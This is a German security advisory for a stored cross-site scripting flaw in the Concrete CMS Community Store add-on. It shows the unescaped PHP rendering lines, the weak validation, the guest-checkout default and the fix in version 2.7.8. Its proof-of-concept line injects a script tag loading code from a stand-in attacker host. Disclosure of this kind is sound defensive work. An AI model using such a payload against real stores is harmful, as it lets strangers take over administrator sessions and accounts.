
Stored XSS im Concrete CMS Community Store führt zur Übernahme des Admin-Dashboards
| CVE | CVE-2026-93659 |
| Komponente | concretecms-community-store/community_store |
| Typ | Gespeichertes Cross-Site Scripting (CWE-79) |
| Schweregrad | CVSS v4.0 9.3 Kritisch / v3.1 8.7 Hoch |
| Betroffen | Alle Versionen vor 2.7.8 |
| Behoben in | 2.7.8 |
| Danksagung | Prince Edem Fiagbedzi (Finder) |
Community Store, ein Open-Source-E-Commerce-Add-on für Concrete CMS, speicherte kundenseitig bereitgestellte Bestellfelder ohne Bereinigung und gab sie ohne HTML-Escaping in vier adminseitigen Ansichten aus. Jeder nicht authentifizierte Besucher konnte eine Bestellung mit einer Script-Nutzlast in einem Feld wie dem Vornamen der Rechnungsadresse aufgeben, und die Nutzlast würde in der authentifizierten Dashboard-Sitzung eines Store-Managers ausgeführt, sobald dieser die Bestellung öffnete – genug, um ein betrügerisches Administratorkonto anzulegen oder Sitzungsdaten zu exfiltrieren.
Jede Bestellung enthält kundenseitig bereitgestellte Felder: Vorname, Nachname, E-Mail und Telefonnummer der Rechnungs-/Lieferadresse. Diese Felder werden unverändert gespeichert und an vier Stellen wieder ausgegeben, die ein Store-Manager routinemäßig einsehen kann:
single_pages/dashboard/store/orders.php)elements/order_slip.php)single_pages/dashboard/store/reports/*.php)single_pages/checkout/complete.php)Entscheidend ist, dass das Aufgeben einer Bestellung kein Konto erfordert. Die
Gast-Checkout-Einstellung von Community Store ist standardmäßig auf always
gesetzt, und zwar durch den Installer des Pakets selbst bei jeder
Neuinstallation, nicht etwas, wofür sich ein Store-Betreiber entscheiden muss.
Es handelt sich also nicht um einen Bug, der einen fehlkonfigurierten Store
erfordert; er ist gegen eine standardmäßige, out-of-the-box-Installation
ausnutzbar, ohne Anmeldedaten.
Aktualisieren Sie Community Store auf 2.7.8 oder später. Der Fix fügt ordnungsgemäßes Output-Escaping an allen vier betroffenen Render-Stellen hinzu. Es gibt keinen Konfigurations-Workaround außer dem Upgrade, da das verwundbare Verhalten das Escaping selbst ist, kein Schalter.
Keine der vier Render-Stellen escapte die kundenkontrollierten Felder. Eine repräsentative Zeile aus der Admin-Bestellansicht:
<?= $order->getAttribute("billing_first_name"). " " . $order->getAttribute("billing_last_name")?><br>
Kein h()-Aufruf, Concretes Standard-Helfer für Output-Escaping, in der Nähe,
obwohl dieselbe Datei h() einige Zeilen weiter für andere Werte korrekt
verwendete. Die Eingabevalidierung war nicht besser: Die einzige Prüfung, die
auf diese Felder angewendet wurde, war ein Längenlimit (1-255 Zeichen), nichts,
was HTML entfernte oder ablehnte.
if (strlen($data['store-checkout']['first-name']) < 1) { ... }
if (strlen($data['store-checkout']['first-name']) > 255) { ... }
// no HTML sanitization
Eine <script>-Nutzlast unter 255 Zeichen im Feld für den Vornamen der
Rechnungsadresse passiert die Validierung unberührt, wird gespeichert und
später unescaped gerendert, wo immer ein Admin die Bestellung einsehen kann.
Der Gast-Checkout-Standardwert wird direkt im Installer gesetzt:
// src/CommunityStore/Utilities/Installer.php
$this->config->save('community_store', [
...
'guestCheckout' => 'always'
]);
Der Checkout-Controller erzwingt eine Anmeldung nur, wenn diese Einstellung
off ist (oder option ohne Gast-Flag), und mit dem installierten
Standardwert wird dieser Zweig nie ausgelöst.
Getestet gegen Community Store v2.7.7 auf Concrete CMS 9.5.2 (selbstgehostetes Docker-Lab, PHP 8.3). Nutzlast als gewöhnlicher Gast-Checkout übermittelt, ohne jegliche Authentifizierung:
billing_first_name = <script src="https://attacker-controlled.example/payload.js"></script>
2a802d6
ausgeliefert, der h()-Escaping an allen vier betroffenen Render-Stellen
hinzufügt